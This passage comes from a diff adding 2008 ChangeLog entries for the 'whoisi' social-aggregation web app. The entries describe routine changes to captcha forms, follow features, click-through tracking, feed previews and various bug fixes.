+       some js files, probably shouldn't, but it works for now.
+
+       * whoisi/templates/everyone.kid: New code that passes down the
+       site_history object.
+
+       * whoisi/controllers.py (Root.search): Use fast search methods to
+       get people, names, sites, site_history and anything else we can.
+       (Root.addform): New method that returns a person add form.
+       (Root.addperson): First call to create a new person.  Has a
+       captcha that comes into it and will return state to kick off the
+       add person cycle.  Checks the URL to see if it's valid and also
+       checks the db for possible matches to the url that's passed in.
+       (Root.addpersonstatus): The heart of the cycle to add a new
+       person.  Checks for error state, if a preview is still in
+       progress, if someone needs to pick a url, if a preview is
+       complete, and will render a preview.
+       (Root.addpersonpick): Code that lets someone pick a url.  Creates
+       a new new_site request from the old one to get the master service
+       to pick it up.
+       (Root.addpersonconfirm): End of the add person progress.  Creates
+       a new person and sends back a message to redirect.
+       (Root.p): Clean up the new_site vs. site race condition.  Use fast
+       queries to render a person.
+       (Root.siterefresh): Use the new fast site history code.
+       (Root.getDisplayDepth): Add a fast lookup path for getting the
+       right depth to look up site history.  This is better than hard
+       coding it everywhere.
+       (Root.rendersite): New code that uses the separate site_history
+       instead of letting the actual site widget figure it out.  Much
+       cleaner.
+
+       * whoisi/search.py (fast_people_ids_by_name): Fast query that will
+       try and return a set of person_ids for a name query.  Not that
+       much faster than before, but somewhat.
+       (SearchService.prettifyName): Don't touch queries that include '@'
+       or ':'
+
+       * whoisi/static/css/style.css: Move out the width of the edit
+       wrappers to 540px to handle the personadd page.
+
+       * whoisi/static/javascript/addform.js: New JS code to handle the
+       person add form.  Basically includes an inner loop to cycle
+       through the process of adding a new person.
+
+       * services/command/controller.py: New classes for preview for
+       linkedin, picasa and feeds.
+
+       * services/command/newsite.py (NewSiteSetup.gotNewSite): New code
+       to handle getting urls for previews as well as for a new state.
+       This just kicks off the state process for a new site.
+       (NewSiteTryURL.getPreferredFeed): Support getting Flickr preferred
+       feeds.  Yay!
+       (NewSiteTryURL.feedLoadDone): Make sure to get the feed type after
+       the feed load is done.  We use it later in both the preview done
+       code and the new site done code.
+       (NewSiteTryURL.getFeedType): Moved here from the createsite code.
+       (NewSiteCreate.createSite): Use the site type from the state
+       instead of calling getFeedType().
+
+       * services/command/flickr.py: Change classes to allow us to pass
+       in a photo id into the class that will get the flickr thumbnail
+       address.  This lets us call it a few times from the preview code
+       instead of having to get it from the database and put it in the
+       state.
+       (FlickrPreviewThumbnails): This class will take a parsed feed and
+       get the thumbnails for every one that's in it.
+       (Flickr.isFlickrURL): New class that will return if a particular
+       url is a flickr url.
+       (Flickr.getPreferredFeed): Returns a preferred feed for flickr.
+
+       * services/command/previewsite.py (PreviewSiteDone): Class that
+       takes the data out of the state and shoves into the new_site
+       table.  Basically stores a feed, the type of feed and/or the
+       current state and saves it.  It tries to work around the mysql 65k
+       rowsize limit by limiting the number of entries to 6 in total.
+
+       * services/command/twitter.py (Twitter.isTwitterURL): Make sure to
+       return False if it's not a twitter feed.
+       (Twitter.getPreferredFeed): Spit out some debugging spew if a
+       preferred feed is detected.
+
+       * services/command/picasa.py (PicasaPreviewLoadFeed): A command
+       that takes the filename of the parsed picasa feed and shoves into
+       the state variable.
+
+       * services/command/linkedin.py (LinkedInPreviewSave): New code to
+       save a linkedin preview to the new_site table.
+
+       * services/master/previewsite.py: New master classes that handle
+       previewing sites.  Basically a copy of the newsite class for
+       masters as well.  Knows a little bit about how to turn some URLs
+       into specific requests.  (LinkedIn and Picasa, basically.)  Copies
+       lots of detection code from newsite.py and should probably be
+       merged into a single class at some point.
+       
+       * services/master/database.py (DatabaseManager.getPreviewSites):
+       New methods to handle getting preview sites out of the database
+       and dispatch them.
+
+       * controller-service: Implement the new preview commands.
+
+2008-05-19  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.l): Track the useragent field for a
+       clickthrough.
+
+       * whoisi/model.py (ClickThrough): Add a useragent field to the
+       click through.
+
+2008-05-19  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.l): Make sure that we look at the
+       X-Forwarded-For header for the remote ip because of the proxy
+       server.
+
+2008-05-18  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.l): Insert a record when someone
+       clicks to another site using our tinyurl-like scheme.
+
+       * whoisi/model.py (ClickThrough): New ClickThrough object/table
+       that tracks when people click through a tinyurl-style url.  Tracks
+       who did it, when they did it, what their IP was and if there was a
+       referer.
+
+2008-05-18  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+       
+       * whoisi/templates/master.kid: Add google analytics tracking code
+       to the master template.
+
+2008-05-14  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/fast_history.py: For the everyone and follower
+       functions sort the entries by time and then reverse them so that
+       we return a time-stable list of links.
+
+       * whoisi/templates/follow.kid: Pass the minimum number to the
+       start for the next page by walking the clusters.
+
+       * whoisi/templates/everyone.kid: Pass the minimum number to the
+       start for the next page by walking the clusters.
+
+2008-05-13  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/picasa.kid: Change _new to _blank.
+
+       * whoisi/widgets/templates/weblog.kid: Change _new to _blank.
+
+       * whoisi/widgets/templates/flickr.kid): Change _new to _blank.
+
+       * whoisi/utils/display.py (expand_href): Change _new to _blank.
+
+       * whoisi/utils/twitter.py (expand_user_ref): Change _new to _blank.
+
+2008-05-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py: Add optional start arg to the follow
+       item.  Use the fast recent changes method to get everything in one
+       call.
+
+       * whoisi/utils/fast_history.py: Add a fast history query for
+       people to load their history quickly.
+
+       * whoisi/templates/follow.kid: Add a More... link at the bottom.
+
+2008-05-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/fast_history.py: Some deep hacks that do a single
+       query with fake classes to get history for everyone.  Basically
+       loads everything we might need to display that data into fake
+       classes that resolve to array offsets in the data we loaded.
+
+       * whoisi/templates/everyone.kid: Include a More... link at the
+       bottom of the page to see more history for everyone.
+
+       * whoisi/controllers.py: Change everyone method to include an
+       optional start argument.  Use the new
+       fast_recent_changes_for_everyone call to get the history for
+       everyone.
+
+2008-05-12  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/download.py (localDownloadPage): Add user agent
+       for whoisi.
+
+2008-05-07  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/follow.py (add_person): Fix problem where the first
+       time you followed someone the link didn't show up in the browser.
+       Make sure to set the current follow in the cherrypy session after
+       we create the follower for the first time.
+
+       * whoisi/widgets/templates/twitter.kid: Use a short link for the
+       url to a twitter entry on the time display.
+
+       * whoisi/widgets/templates/picasa.kid: Use the short link for the
+       url to a picasa photo.
+
+       * whoisi/widgets/templates/weblog.kid: Use the short link for the
+       url to a weblog entry on the time display.
+
+       * whoisi/widgets/templates/flickr.kid: Use the short link for the
+       url to a flickr photo.
+
+       * whoisi/utils/display.py (short_link_ref): New function that
+       takes an id and returns a link to it.
+
+       * whoisi/utils/flickr.py (flickr_fill_thumbnails): Add the id to
+       what we return for a set of flickr items.
+
+       * whoisi/controllers.py: Add an 'l' method that takes a
+       hex-encoded link and redirects to an actual site.  How we drive
+       our tinyurl-like functionality.
+
+       * whoisi/static/css/style.css: Add short-link rules so that we can
+       make short links show as as black, not blue.
+
+2008-05-06  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py: Sigh.  Add unicode() calls to any widgets
+       that are rendered and passed back as part of a json result.  Work
+       around problems where utf-8 encoded byte strings were being
+       re-encoded as utf-8 and getting corrupted.
+
+2008-05-05  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * prod.cfg: server.webpath should not have been set to the full
+       website - just disable it now since our paths all start with '/'
+       anyway.
+
+2008-05-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/person.kid: Change /person refs to /p.
+
+       * whoisi/widgets/templates/twitter.kid: Change /person refs to /p.
+
+       * whoisi/widgets/templates/picasa.kid: Change /person refs to /p.
+
+       * whoisi/widgets/templates/weblog.kid: Change /person refs to /p.
+
+       * whoisi/widgets/templates/flickr.kid: Change /person refs to /p.
+
+       * whoisi/controllers.py: Change /person refs to /p.
+       
+2008-05-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+        * prod.cfg: Woot.  Config file that handles the proxy setup stuff
+       for running behind an apache reverse proxy.
+
+2008-05-04  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * html-feed-scrape-service (ScrapeProtocol.runCommand): Remove
+       finally: block that only closed a file that would automatically be
+       closed.  Needed for python 2.4.
+
+       * feed-parse-service (FeedParseProtocol.runCommand): Remove
+       finally: block that only closed a file that would automatically be
+       closed.  Needed for python 2.4.
+
+       * picasa-poll-service (PicasaProtocol.runCommand): Remove finally:
+       block that only closed a file that would automatically be closed.
+       Needed for python 2.4.
+
+       * services/command/setup.py (FileToStateCommand.doCommand): Remove
+       exception block that we don't need.  File objects clean themselves
+       up.
+
+2008-05-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/flickr.py (FlickrUpdateDatabase.doCommand):
+       Oops, forgot to json encode the actual thumbnail location.
+
+2008-05-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * utils/clean_tmp.sh: Simple shell script that cleans up /tmp -
+       run it if you're refreshing websites or you'll run out of disk
+       pretty quickly.
+
+2008-05-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * utils/convert-display-cache.py: Utility here for the sake of
+       history.  Converts the old flickr display_cache to the new
+       json-enabled one.  DO NOT RUN AGAINST A PRODUCTION DATABASE.
+
+2008-05-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/controller.py (FlickrCacheManager): Attach the
+       flickr cache error handler.
+
+       * services/command/flickr.py (FlickrCacheError): New class to
+       handle flickr errors when getting thumbnails. It now catches the
+       xmlrpclib.Fault that's generated when there's an error.  If it's
+       the "photo not found" or "permission denied" error then we save
+       that to the database for later processing.
+
+       * whoisi/utils/flickr.py (flickr_fill_thumbnails): Use the new
+       format for the display_cache - serialized json data.  If there's a
+       thumb var, set it.  If not, it's probably an error and just show
+       the grey box but don't indicate that it needs a refresh.  NULL
+       still means refresh later.
+
+2008-05-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/master/worker.py (Worker.commandComplete): Get rid of a
+       pile of latency - start a new command after the last one completes
+       until waiting for the next tick.  Should process commands a lot
+       faster now.
+
+2008-05-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/master/sitelock.py: Remove debug spew.
+
+       * services/master/worker.py (WorkManager.reviveDeadWorkers): Fix
+       bug where connecting workers would end up in limbo because they
+       would be left off both the dead and connecting worker lists.  We
+       fix this by making sure that we put everything on the connecting
+       list before trying to process any of them and make sure the dead
+       pool is actually empty before processing.
+
+2008-04-28  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/newsite.py (NewSiteTryURL.feedLoadDone): Call
+       the done callback directly instead of creating the site object.
+       (NewSiteCreate): New class that does what the end of NewSiteTryURL
+       used to do.  It takes all the state from TryURL and creates the
+       site object.  No changes to the functional code, just wrap it in a
+       new command.  We're doing this to get ready for being able to
+       "preview" a URL when we add a new person.  We don't want to
+       actually create the site object in that case.
+
+2008-04-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/follow.py (FollowManager.follow_for_id): Make sure
+       to update the last_visit time for a user when getting the cookie.
+
+2008-04-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/static/javascript/person.js: Make sure that we don't load
+       a new captcha when removing a name or changing a primary name if
+       there's already one in progress.  Also make sure to return false;
+       from all of the handlers if we don't load the captchas otherwise
+       it tries to load urls.
+
+2008-04-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/person.kid: Changes for new name
+       editing code.  Get rid of the old text areas and stick with a
+       simple link that loads the form.
+
+       * whoisi/widgets/templates/nameupdate.kid: New widget for name
+       update.
+
+       * whoisi/widgets/widgets.py (NameUpdateWidget): New name update
+       widget.
+
+       * whoisi/controllers.py (Root.nameupdate): Handle captcha
+       failures.  Also return the new name when we're done.  Used by the
+       JS.
+       (Root.nameupdateform): Code to return an empty form to update the
+       name.
+
+       * whoisi/static/javascript/person.js: Add hooks to change name
+       based on a captcha + loaded form.  Remove code for old name update
+       system.
+
+2008-04-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/siteremove.kid: New form for removing a
+       site.
+
+       * whoisi/widgets/widgets.py (SiteRemoveWidget): Add
+       site_remove_widget.
+
+       * whoisi/controllers.py (Root.siteremove): Return an error if the
+       captcha didn't verify.
+       (Root.siteremoveform): New method that returns a form + captcha.
+
+       * whoisi/static/javascript/person.js: Add hooks to get a captcha
+       when removing a site from a person.
+
+2008-04-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/nameremove.kid: New form for removing a
+       name.
+
+       * whoisi/widgets/widgets.py (NameRemoveWidget): New name remove
+       widget.
+
+       * whoisi/controllers.py: Add new "nameremoveform" method that
+       returns a form for removing a name and also change "nameremove" so
+       that it checks for captcha validity.
+
+       * whoisi/static/javascript/person.js: Add hooks to the name remove
+       code so that it loads a form to load a name instead of just
+       removing it directly.
+
+2008-04-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/nameadd.kid: Don't use spans and add a
+       recaptcha widget.  Wrap with the nice person-edit-wrapper div so
+       it has a nice look.  Add error text and re-render newname if it's
+       there.
+
+       * whoisi/widgets/widgets.py (NameAddWidget): Add "error_text" and
+       "newname" as arguments to the nameadd widget.
+
+       * whoisi/controllers.py (Root.nameadd): Check captcha results
+       against service and return the form if there's an error.
+
+       * whoisi/static/css/style.css: Wrap name adds with a nice editing
+       div.
+
+       * whoisi/static/javascript/person.js: Add hooks to pass captcha
+       data when adding a new name.  Also support handling a non-done
+       status when adding a name and re-show the widget if there was a
+       captcha error.
+
+2008-04-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/siteadd.kid: Change the size from 50 to
+       45 so it doesn't overrun on ff3/linux.
+
+2008-04-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.followperson): Fix bug where
+       stopping following a person wasn't working.  Need to pass the
+       person id to follow.is_following_person() not the whole person
+       object.
+
+2008-04-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/siteaddpickfeed.kid: Use
+       site-add-wrapper div so it has a nice look.
+
+       * whoisi/widgets/templates/recaptcha.kid: New widget to display a
+       recaptcha.  Not used yet.
+
+       * whoisi/widgets/templates/siteadderror.kid: Use the
+       site-add-wrapper div so it has a nice look.
+
+       * whoisi/widgets/templates/siteaddstatus.kid: Use the
+       site-add-wrapper div so it has a nice look.
+
+       * whoisi/widgets/templates/siteadd.kid: Re-do a lot of this so
+       that it uses the new yellow look, handles error text and includes
+       a target for a recaptcha ajax load.  Add a cancel button.
+
+       * whoisi/widgets/widgets.py (ExtJSLink): New class used for
+       external JS locations (instead of just local ones.)
+       (PersonWidget): Person now requires the recaptcha widget.
+       (SiteAddWidget): New param for this widget: error_text.
+       (RecaptchaWidget): New widget (not used yet.)
+
+       * whoisi/utils/recaptcha.py (recaptcha_check_fail): New function
+       to check if a recaptcha failed.  Returns None if there was no
+       error.
+
+       * whoisi/controllers.py (Root.siteaddpost): Check adding a site
+       vs. a recaptcha and return an error if it doesn't pass.
+
+       * whoisi/static/css/style.css: New div.site-add-wrapper class that
+       has a yellowish background with a border so we can tell where the
+       edges of the form are.  Don't use div.url-pick-list anymore so we
+       remove it from here.
+
+       * whoisi/static/javascript/person.js: Add onCaptchaError callback
+       to handle a "captcha_error" message from the server when getting a
+       status update.  Break out attaching add site form events into its
+       own function so we can do it from more than one place.  New
+       function "request_recaptcha" to load a recaptcha widget when we
+       add a new site form.  Add a cancel button so that we can stop
+       adding a new account.  Pass recaptcha info to the server when we
+       submit the form.  Make sure that if a captcha is in progress we
+       don't try and add more than one site at a time - the recaptcha
+       interfaces don't allow it.
+
+2008-04-23  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/display.py (confirm_escape): Deep hack that needs
+       to be fixed.  URLs are everything until a spare or the end of the
+       line.  Fixed a twitter entry like http://google.com&lt; that would
+       end up generating invalid HTML.
+
+2008-04-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/twitter.py (expand_user_ref): Add the '-' symbol to
+       the list of characters we expand for urls.
+
+2008-04-21  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/search.py (SearchService.peopleByName): Support searching
+       aliases.  This includes looking for exact and partial matches in
+       aliases and searching on the right hand side of a group alias.
+       You can also do something like mozilla: and see an entire group.
+
+2008-04-20  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * tests/twisted/network/test_picasa.py: Make sure to test for the
+       "page_not_found" error is set when we failed to find a site.
+
+       * tests/twisted/network/test_newsite.py: Add new conditions to
+       tests to make sure that we can tell the difference between a page
+       not found or an invalid feed or a feed not found on a page.
+
+       * tests/twisted/network/test_linkedin.py: Add new conditions to
+       tests to make sure that error codes are properly set when we fail
+       to add a new linkedin page.
+
+       * whoisi/widgets/widgets.py (SiteAddErrorWidget): New site add
+       error widget.
+
+       * whoisi/controllers.py (Root.person): Make sure that we don't
+       load errors or done new sites when we look for sites in progress.
+       (Root.siteaddstatus): Return errors when we fail to add a new
+       site!
+
+       * whoisi/static/css/style.css: Add new div.error type that draws
+       text as red.
+
+       * whoisi/static/javascript/person.js: Add a handler when we get an
+       "error" status so that we log something reasonable.
+
+       * services/command/exceptions.py (FeedNotFoundError): Add another
+       error type that we'll use to distinguish between not finding a
+       feed and not being able to parse a feed.
+
+       * services/command/newsite.py (NewSiteError.handleError): Handle
+       various exceptions and try and put a code in the error field that
+       makes sense.
+
+       * services/command/picasa.py (PicasaPollFeed.parseError): Return a
+       PageNotFoundError() when there's an error so we can return it to
+       the user.
+
+2008-04-20  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/twitter.py (get_text): Add exception handler in
+       case twitter hands us an empty string and we try to parse it.
+
+2008-04-18  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/templates/master.kid: Remove the auto-focus code from the
+       master template and move it into the index page - which is the
+       only place we want it.
+
+       * whoisi/templates/index.kid: See above.
+
+2008-04-05  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/flickr.kid: Use personID instead of
+       person.id.  Also pass the id to is_following_person() instead of
+       the full person object.
+
+       * whoisi/widgets/templates/weblog.kid: Use personID instead of
+       person.id.  Also pass the id to is_following_person() instead of
+       the full person object.
+
+       * whoisi/widgets/templates/picasa.kid: Use personID instead of
+       person.id.  Also pass the id to is_following_person() instead of
+       the full person object.
+
+       * whoisi/widgets/templates/twitter.kid: Use personID instead of
+       person.id.  Also pass the id to is_following_person() instead of
+       the full person object.
+
+       * whoisi/widgets/templates/person.kid: Use personID instead of
+       person.id.  Also pass the id to is_following_person() instead of
+       the full person object.
+
+       * whoisi/utils/site_history.py:
+       (get_recently_changed_site_history_for_follower): Vastly improve
+       the queries that we do by doing a single query to collect all the
+       data instead of lots of little ones.  Also use SiteHistory.siteID
+       instead of SiteHistory.site.id which was triggering lots of extra
+       queries.
+
+       * whoisi/utils/follow.py: Updates to use the new Follower
+       interfaces in the model - pass more through to the model.
+
+       * whoisi/model.py: Add code to the Follower object to cache the
+       people who are associated with the follower.  Also include
+       interfaces to add and remove people to the follower - use these so
+       that the cache is coherent.
+
+2008-04-05  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/config/app.cfg: Change the identify failure url to
+       '/userlogin' instead of '/login'.
+
+       * whoisi/utils/follow.py (login): New method that sets the current
+       follower on the request method and sets the cookie.
+
+       * whoisi/templates/login_not_found.kid: New error page if a login
+       isn't found.
+
+       * whoisi/controllers.py: Move 'login' and 'logout' methods to
+       'userlogin' and 'userlogout' since we're not using the identity
+       methods for the main login.  Add new 'login' method that looks for
+       a private key on the command line and calls the follower login
+       method if it's connected to a method.  From there it redirects to
+       the '/follow' page.  If the follower isn't found it falls back to
+       an error page.
+
+       * whoisi/static/css/style.css: Add a style for h2.error - make it
+       red.
+
+2008-04-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/person.kid: Use the <span> tag for the
+       link-action links instead of putting the class on the links
+       themselves.
+
+       * whoisi/static/javascript/person.js: Change add site link to
+       include the span that includes it now when loading the new form.
+       Also the same when we're done loading the new site and also when
+       we're editing aliases on the person edit page.
+
+       * whoisi/templates/person.kid: Don't show the search form on the
+       person edit page.  It's just confusing.
+
+2008-04-03  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/twitter.kid: Fix how we get entries.
+
+       * whoisi/widgets/templates/picasa.kid: Fix how we get entries.
+
+       * whoisi/widgets/templates/weblog.kid: Fix how we get entries.
+
+       * whoisi/widgets/templates/flickr.kid: Fix how we get entries.
+
+2008-04-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/twitter.kid: Support follow display
+       type.
+
+       * whoisi/widgets/templates/picasa.kid: Support follow display
+       type.
+
+       * whoisi/widgets/templates/weblog.kid: Support follow display
+       type.
+
+       * whoisi/widgets/templates/flickr.kid: Support follow display
+       type.
+
+       * whoisi/templates/follow.kid: Pass in the "follow" display type
+       instead of time.
+
+2008-04-02  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/person.kid: Add code to show "stop
+       following" if you're following someone.
+
+       * whoisi/widgets/templates/weblog.kid: Make the follow
+       functionality work for weblogs.
+
+       * whoisi/widgets/widgets.py (PersonWidget): Pull in the new
+       follow.js code for the person widget.
+
+       * whoisi/utils/site_history.py:
+       (get_recently_changed_site_history_for_follower): Crazy code that
+       starts with a follower, gets the people they are following, gets
+       the sites owned by those people and then the recent site history
+       for each ones of those sites.
+       (get_recently_changed_site_history): Change the call to get the
+       recent site history for everyone to just use the added field
+       instead of the publish and update dates - much more reliable if
+       we're running constant refreshes.
+
+       * whoisi/utils/follow.py: The heart of the new follow code.  Most
+       of this is the FollowManger class which is a singleton class and
+       is called from multiple threads in the server.  It knows how to
+       look up cookie IDs and set cookies.  It also sets the per-thread
+       cherrypy.request.follow object that's used from inside of the web
+       server.  Access to follow information is all done through this
+       util class instead of through the web server.  A lot of this code
+       is borrowed from the turbogears visit code and even starts up a
+       thread to do caching.  We don't do that caching yet but we can if
+       it becomes an issue.
+
+       * whoisi/templates/follow.kid: New template for following.
+       Basically the same as the everyone page until we add person-based
+       lists as well as date-driven lists.
+
+       * whoisi/templates/everyone.kid: Just jam the follow.js script in
+       here for now.
+
+       * whoisi/templates/master.kid: Show the friendslink bit if the
+       person is following anyone.
+
+       * whoisi/controllers.py (follow): New method that is the landing
+       point for how you follow a set of people.  It uses the new
+       site_history methods and then collects them into clusters.  Same
+       as with the everyone page.
+       (Root.followperson): Method that lets you toggle if you want to
+       follow a person or not.  Only exposed through json.  Returns new
+       content and the number of people that are being followed.
+
+       * whoisi/model.py (Visit): Make sure that we're using utcnow() for
+       the created date.
+       (Group): utcnow for created.
+       (User): utcnow for created.
+       (Follower): New class that describes someone who follows someone
+       else.  Includes hashes for the cookie, a private and public key,
+       the ability to store an email address and if they are associated
+       with a particular person on the site.  Also track an exprires date
+       and when they were created.  Also includes some classmethods for
+       looking up by the various key types.
+       (FollowPerson): New class that maps a follower to people they are
+       following.
+
+       * whoisi/static/javascript/follow.js: Javascript file to handle
+       following functionality.  Simple classes and ajax.
+
+       * start-whoisi.py: Add hooks to the startup and shutdown points in
+       the server so we can register our global cherrypy filter to catch
+       and set the following cookie.
+
+2008-03-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/controllers.py (Root.everyone): Pass the search_widget in
+       as a param to trigger jquery getting included.  Ugh.
+
+       * whoisi/templates/everyone.kid: Don't need to include the search
+       widget from here since it's passed in from the controller now.
+
+2008-03-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/utils/twitter.py (expand_user_ref): Add _ to the
+       characters to expand for a twitter user.
+
+2008-03-27  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/summary.py (SummaryCreator.output): Call confirm_escape()
+       on text nodes we output.  Fix val's blog and havoc's blog that
+       included & characters.
+
+2008-03-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/master/newsite.py (NewSite.startProcess): Bug fix.
+       Adding new linkedin sites wasn't working because we were passing
+       the wrong command to the contoller process.  The controller
+       process wasn't returning an error when we did that and was
+       silently returning success.
+
+       * services/command/exceptions.py (BadCommandException): Exception
+       that's derived from pb.Error so we can throw it across processes.
+
+       * controller-service (Controller.remote_doCommand): Make things a
+       little more robust by using if/elif instead of just if and fall
+       through to throwing an exception if the master passes down a bad
+       command.
+
+2008-03-26  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/model.py (SiteHistory): Change getLastTouched to check
+       the time reported by a feed against the added time in case clock
+       skew pushes entries into the future.  This happens in the real
+       world.  I AM LOOKING RIGHT AT YOU ZE FRANK.
+
+2008-03-25  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/twitter.kid: Add code that expands href
+       and @something style references.
+
+       * whoisi/utils/display.py (expand_href): Code that expands
+       http://foo urls for use on twitter.
+
+       * whoisi/utils/twitter.py (expand_user_ref): Utility that expands
+       @something references for twitter pages.
+
+2008-03-24  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * master-service: Code to do automatic refreshes is checked in.
+       Add a -r or --refresh to schedule refreshing sites.
+
+       * services/master/refreshmanager.py: New file that manages when we
+       refresh sites.  It will schedule any site that hasn't been
+       refreshed on startup for immediate refresh.  Any sites that have
+       been refreshed in the last half an hour will be scheduled for a
+       refresh at a random time in the next half an hour.  Not the most
+       efficient code in the universe but it should work well for the
+       time being.
+
+2008-03-24  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/twitter.kid: Everything I just said is
+       a lie.  Sometimes twitter data is escaped, sometimes it is not.
+       Yay for the intarweb.
+
+       * whoisi/utils/display.py (confirm_escape): Add gt + lt to the
+       list of things we look for before escaping.
+
+2008-03-24  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/twitter.kid: Twitter entries are
+       already escaped so don't escape them again.  Fixes things like
+       '<8' and '->' in twitter displays.
+
+2008-03-23  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * whoisi/widgets/templates/search.kid: Add a nice "everyone" and
+       "random" link to the search widget.
+
+       * whoisi/widgets/templates/twitter.kid: Code to support time-based
+       display based on entries that are passed in.
+
+       * whoisi/widgets/templates/picasa.kid: Code to support time-based
+       display based on entries that are passed in.
+
+       * whoisi/widgets/templates/weblog.kid: Code to support time-based
+       display based on entries that are passed in.
+
+       * whoisi/widgets/templates/flickr.kid: Code to support time-based
+       display based on entries that are passed in.
+
+       * whoisi/widgets/widgets.py: Pass in 'display_entries' to each of
+       the site widgets.
+
+       * whoisi/utils/site_history.py: New file to help generate site
+       history.  Code that will generate a list of site history newer
+       than a passed in date.  Also code that will take a list of site
+       history objects, order them based on their age and cluster them to
+       the site they belong.
+
+       * whoisi/utils/flickr.py (flickr_fill_thumbnails): Pass in the len
+       and the entries so that we can treat the list as an array.
+
+       * whoisi/templates/person.kid: Use the search widget so we get the
+       nice random/everyone links under the box.
+
+       * whoisi/templates/everyone.kid: New template that returns an
+       "everyone" page.  Right now it's pretty brute force, doesn't
+       pageinate.  But it's a start.
+
+       * whoisi/controllers.py (Root.everyone): New everyone url that
+       will return all the activity for the last day.  Not very fast or
+       complete, but it works reasonably well.
+       (Root.random): New method that returns a random person.  Fun!
+
+       * whoisi/model.py (Person.getRandom): New method that returns a
+       random person id.
+       (SiteHistory.getLastTouched): Better way of calculating the last
+       touched value.  Should be faster, too.
+
+       * services/master/newsite.py (NewSite.pollDone): Fix bug where a
+       new flickr add wasn't triggering a flickr thumbnail refresh.
+
+2008-03-22  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * services/command/linkedin.py (LinkedInCreateCommand.doCommand):
+       Fix a bug test cases found!  Make sure to set the "type" in the
+       state so that we can return it to the master service once a new
+       site is added.
+
+       * services/command/picasa.py (PicasaCreateCommand.doCommand): Fix
+       the same bug in the picasa code.
+
+2008-03-21  Christopher Blizzard  <blizzard@0xdeadbeef.com>
+
+       * master-service (MasterService.start): Create a
+       SiteLock() (site_lock) object during startup.
+
+       * services/command/controller.py (ProtoManager.succeeded): Make
+       sure to pass through any return values that might be returned by a
+       command.
+
+       * services/command/newsite.py: Return the new feed type and
+       site_id when returning from a new site addition.
+
+       * services/command/feedparse.py (FeedUpdateDatabaseCommand.done):
+       Return the site_id when we're done.
+
+       * services/master/database.py: Only do a full scan for unfinished
+       flickr photos once at startup.  Pass down the site_id for
+       refreshes.
+
+       * services/master/feedrefresh.py: Subclass from Command.  Also
+       refresh flickr images for a flickr site if there was a change.
+
+       * services/master/picasa.py: Subclass from Command.
+
+       * services/master/newsite.py: Subclass from Command.  Also, if we
+       add a flickr site kick off a new flickr refresh command instead of
+       expecting the master process to find it by polling everything.
+       Also support return values from the controller that's running the
